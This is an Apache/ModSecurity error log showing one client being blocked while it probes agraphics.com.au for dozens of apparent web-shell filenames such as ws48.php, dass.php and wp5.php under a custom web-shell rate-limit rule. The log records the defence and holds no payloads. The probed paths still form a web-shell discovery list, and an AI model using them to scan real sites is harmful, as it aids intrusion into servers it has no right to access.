[Thu Apr 23 10:41:16.430416 2026] [:error] [pid 42972:tid 43035] [client 20.216.138.65:36135] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws48.php"] [unique_id "aemGzMOAb-3sOknsk4dXRQAAAFM"]
[Thu Apr 23 10:41:17.010307 2026] [:error] [pid 64967:tid 64989] [client 20.216.138.65:54508] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws48.php"] [unique_id "aemGzYAV4GfOOdX8Qzo_yAAAAZQ"]
[Thu Apr 23 10:41:17.794369 2026] [:error] [pid 64998:tid 65003] [client 20.216.138.65:36125] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws48.php"] [unique_id "aemGzYV5EysYcTLjmwikbgAAAcE"]
[Thu Apr 23 10:41:18.418231 2026] [:error] [pid 59700:tid 59718] [client 20.216.138.65:54500] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aemGzpXyGZJFeAIDWtmxUAAAAVA"]
[Thu Apr 23 10:41:18.951064 2026] [:error] [pid 42972:tid 43026] [client 20.216.138.65:34329] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aemGzsOAb-3sOknsk4dXRwAAAEo"]
[Thu Apr 23 10:41:19.623289 2026] [:error] [pid 42973:tid 43045] [client 20.216.138.65:34348] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aemGz26I0QqmmmLTHE0d8wAAAII"]
[Thu Apr 23 10:41:20.513040 2026] [:error] [pid 65000:tid 65042] [client 20.216.138.65:54519] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/8.php"] [unique_id "aemG0L6vRb9j6psK2ZY2TgAAAgk"]
[Thu Apr 23 10:41:21.533512 2026] [:error] [pid 65000:tid 65031] [client 20.216.138.65:34310] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aemG0b6vRb9j6psK2ZY2TwAAAgI"]
[Thu Apr 23 10:41:22.335633 2026] [:error] [pid 43083:tid 43101] [client 20.216.138.65:27271] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aemG0jC5hrvNXosL83IvmwAAANA"]
[Thu Apr 23 10:41:22.916435 2026] [:error] [pid 42972:tid 43031] [client 20.216.138.65:34336] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aemG0sOAb-3sOknsk4dXTQAAAE8"]
[Thu Apr 23 10:41:23.537844 2026] [:error] [pid 42972:tid 43016] [client 20.216.138.65:36156] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/dass.php"] [unique_id "aemG08OAb-3sOknsk4dXTgAAAEA"]
[Thu Apr 23 10:41:24.296504 2026] [:error] [pid 46953:tid 46980] [client 20.216.138.65:34324] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aemG1EnlpdHh-P6wKbravAAAAlc"]
[Thu Apr 23 10:41:24.793458 2026] [:error] [pid 64998:tid 65008] [client 20.216.138.65:54491] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-p2r3q9c8k4.php"] [unique_id "aemG1IV5EysYcTLjmwikcgAAAcY"]
[Thu Apr 23 10:41:25.773735 2026] [proxy_fcgi:error] [pid 42971:tid 43005] [client 20.216.138.65:36126] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:41:26.325416 2026] [proxy_fcgi:error] [pid 42971:tid 43006] [client 20.216.138.65:36126] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:41:26.585295 2026] [proxy_fcgi:error] [pid 42971:tid 42998] [client 20.216.138.65:36126] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:41:26.847214 2026] [proxy_fcgi:error] [pid 42971:tid 42986] [client 20.216.138.65:36126] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:41:27.108177 2026] [proxy_fcgi:error] [pid 42971:tid 42989] [client 20.216.138.65:36126] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:41:27.373478 2026] [proxy_fcgi:error] [pid 42971:tid 43001] [client 20.216.138.65:36126] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:41:27.634715 2026] [proxy_fcgi:error] [pid 42971:tid 43007] [client 20.216.138.65:36126] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:41:27.898185 2026] [proxy_fcgi:error] [pid 42971:tid 42988] [client 20.216.138.65:36126] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:41:28.158289 2026] [proxy_fcgi:error] [pid 42971:tid 43002] [client 20.216.138.65:36126] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:41:28.425135 2026] [proxy_fcgi:error] [pid 42971:tid 43009] [client 20.216.138.65:36126] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:41:28.685650 2026] [proxy_fcgi:error] [pid 42971:tid 43000] [client 20.216.138.65:36126] AH01071: Got error 'Primary script unknown'
[Thu Apr 23 10:41:28.942846 2026] [:error] [pid 42971:tid 43004] [client 20.216.138.65:36126] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aemG2DEP2_5RswrH8bHv1QAAABI"]
[Thu Apr 23 10:41:30.351842 2026] [:error] [pid 64967:tid 64969] [client 20.216.138.65:54516] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aemG2oAV4GfOOdX8Qzo_0gAAAYA"]
[Thu Apr 23 10:41:31.144291 2026] [:error] [pid 25635:tid 25641] [client 20.216.138.65:36105] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aemG28Rxv6UsgRGKB3IJXgAAAQI"]
[Thu Apr 23 10:41:31.746785 2026] [:error] [pid 59700:tid 59715] [client 20.216.138.65:36136] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/Jcrop.php"] [unique_id "aemG25XyGZJFeAIDWtmxVAAAAU0"]
[Thu Apr 23 10:41:32.391644 2026] [:error] [pid 59700:tid 59703] [client 20.216.138.65:36148] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "aemG3JXyGZJFeAIDWtmxVgAAAUE"]
[Thu Apr 23 10:41:33.292233 2026] [:error] [pid 42971:tid 43003] [client 20.216.138.65:30422] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "aemG3TEP2_5RswrH8bHv1gAAABE"]
[Thu Apr 23 10:41:33.797958 2026] [:error] [pid 64998:tid 65012] [client 20.216.138.65:54474] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "aemG3YV5EysYcTLjmwikdAAAAco"]
[Thu Apr 23 10:41:34.400758 2026] [:error] [pid 64998:tid 65010] [client 20.216.138.65:54495] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/abc.php"] [unique_id "aemG3oV5EysYcTLjmwikdQAAAcg"]
[Thu Apr 23 10:41:35.058548 2026] [:error] [pid 42972:tid 43033] [client 20.216.138.65:34311] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aemG38OAb-3sOknsk4dXVwAAAFE"]
[Thu Apr 23 10:41:35.750786 2026] [:error] [pid 42972:tid 43030] [client 20.216.138.65:36146] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aemG38OAb-3sOknsk4dXWAAAAE4"]
[Thu Apr 23 10:41:36.357235 2026] [:error] [pid 59700:tid 59709] [client 20.216.138.65:54512] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aemG4JXyGZJFeAIDWtmxVwAAAUc"]
[Thu Apr 23 10:41:37.273445 2026] [:error] [pid 64998:tid 65023] [client 20.216.138.65:54501] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/inputs.php"] [unique_id "aemG4YV5EysYcTLjmwikdwAAAdU"]
[Thu Apr 23 10:41:37.896492 2026] [:error] [pid 64998:tid 65018] [client 20.216.138.65:27289] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "aemG4YV5EysYcTLjmwikeAAAAdA"]
[Thu Apr 23 10:41:38.418814 2026] [:error] [pid 65000:tid 65054] [client 20.216.138.65:54523] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "aemG4r6vRb9j6psK2ZY2WgAAAhU"]
[Thu Apr 23 10:41:38.998524 2026] [:error] [pid 65000:tid 65032] [client 20.216.138.65:34341] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "aemG4r6vRb9j6psK2ZY2WwAAAgM"]
[Thu Apr 23 10:41:39.675811 2026] [:error] [pid 42972:tid 43020] [client 20.216.138.65:36157] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/bnm.php"] [unique_id "aemG48OAb-3sOknsk4dXXAAAAEQ"]
[Thu Apr 23 10:41:40.201620 2026] [:error] [pid 42972:tid 43027] [client 20.216.138.65:34315] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aemG5MOAb-3sOknsk4dXXgAAAEs"]
[Thu Apr 23 10:41:40.759377 2026] [:error] [pid 42972:tid 43024] [client 20.216.138.65:36143] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aemG5MOAb-3sOknsk4dXYAAAAEg"]
[Thu Apr 23 10:41:41.292252 2026] [:error] [pid 42972:tid 43023] [client 20.216.138.65:54487] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aemG5cOAb-3sOknsk4dXYQAAAEc"]
[Thu Apr 23 10:41:41.767494 2026] [:error] [pid 42972:tid 43038] [client 20.216.138.65:36097] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/ws80.php"] [unique_id "aemG5cOAb-3sOknsk4dXYgAAAFY"]
[Thu Apr 23 10:41:42.311009 2026] [:error] [pid 42972:tid 43029] [client 20.216.138.65:34351] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aemG5sOAb-3sOknsk4dXZgAAAE0"]
[Thu Apr 23 10:41:42.870207 2026] [:error] [pid 42972:tid 43032] [client 20.216.138.65:36155] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aemG5sOAb-3sOknsk4dXaAAAAFA"]
[Thu Apr 23 10:41:43.396362 2026] [:error] [pid 42972:tid 43025] [client 20.216.138.65:36137] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aemG58OAb-3sOknsk4dXaQAAAEk"]
[Thu Apr 23 10:41:43.989872 2026] [:error] [pid 64998:tid 65014] [client 20.216.138.65:54503] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-admin/network/users.php"] [unique_id "aemG54V5EysYcTLjmwikegAAAcw"]
[Thu Apr 23 10:41:44.507543 2026] [:error] [pid 59700:tid 59723] [client 20.216.138.65:54475] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aemG6JXyGZJFeAIDWtmxWAAAAVU"]
[Thu Apr 23 10:41:45.074755 2026] [:error] [pid 42972:tid 43022] [client 20.216.138.65:30402] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aemG6cOAb-3sOknsk4dXcQAAAEY"]
[Thu Apr 23 10:41:45.556196 2026] [:error] [pid 42972:tid 43038] [client 20.216.138.65:36147] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aemG6cOAb-3sOknsk4dXcwAAAFY"]
[Thu Apr 23 10:41:46.043822 2026] [:error] [pid 42972:tid 43018] [client 20.216.138.65:34314] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/s.php"] [unique_id "aemG6sOAb-3sOknsk4dXdAAAAEI"]
[Thu Apr 23 10:41:46.544567 2026] [:error] [pid 42972:tid 43033] [client 20.216.138.65:36158] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aemG6sOAb-3sOknsk4dXeQAAAFE"]
[Thu Apr 23 10:41:47.033596 2026] [:error] [pid 42972:tid 43031] [client 20.216.138.65:54464] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aemG68OAb-3sOknsk4dXfgAAAE8"]
[Thu Apr 23 10:41:47.555971 2026] [:error] [pid 42972:tid 43022] [client 20.216.138.65:34338] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aemG68OAb-3sOknsk4dXgAAAAEY"]
[Thu Apr 23 10:41:48.069402 2026] [:error] [pid 59700:tid 59702] [client 20.216.138.65:36152] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/tymn.php"] [unique_id "aemG7JXyGZJFeAIDWtmxWQAAAUA"]
[Thu Apr 23 10:41:48.592857 2026] [:error] [pid 65000:tid 65057] [client 20.216.138.65:34344] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aemG7L6vRb9j6psK2ZY2XQAAAhg"]
[Thu Apr 23 10:41:49.117119 2026] [:error] [pid 64998:tid 65021] [client 20.216.138.65:30405] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aemG7YV5EysYcTLjmwikewAAAdM"]
[Thu Apr 23 10:41:49.644908 2026] [:error] [pid 65000:tid 65049] [client 20.216.138.65:54473] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aemG7b6vRb9j6psK2ZY2YQAAAhA"]
[Thu Apr 23 10:41:50.210850 2026] [:error] [pid 65000:tid 65056] [client 20.216.138.65:34360] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp-links-opml.php"] [unique_id "aemG7r6vRb9j6psK2ZY2YwAAAhc"]
[Thu Apr 23 10:41:50.748808 2026] [:error] [pid 65000:tid 65051] [client 20.216.138.65:34330] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aemG7r6vRb9j6psK2ZY2ZQAAAhI"]
[Thu Apr 23 10:41:51.258773 2026] [:error] [pid 65000:tid 65053] [client 20.216.138.65:36138] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aemG776vRb9j6psK2ZY2aAAAAhQ"]
[Thu Apr 23 10:41:51.772200 2026] [:error] [pid 65000:tid 65052] [client 20.216.138.65:34356] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aemG776vRb9j6psK2ZY2aQAAAhM"]
[Thu Apr 23 10:41:52.259455 2026] [:error] [pid 42972:tid 43040] [client 20.216.138.65:54480] [client 20.216.138.65] ModSecurity: Access denied with connection close (phase 1). Operator GT matched 10 at IP:wp404_cnt. [file "/usr/local/apache/modsecurity-cwaf/rules/99_Custom_WebShells.conf"] [line "47"] [id "771005"] [msg "Too many 404s in short window (likely scanner)"] [tag "rate_limit"] [tag "probes"] [hostname "agraphics.com.au"] [uri "/wp5.php"] [unique_id "aemG8MOAb-3sOknsk4dXjAAAAFg"]
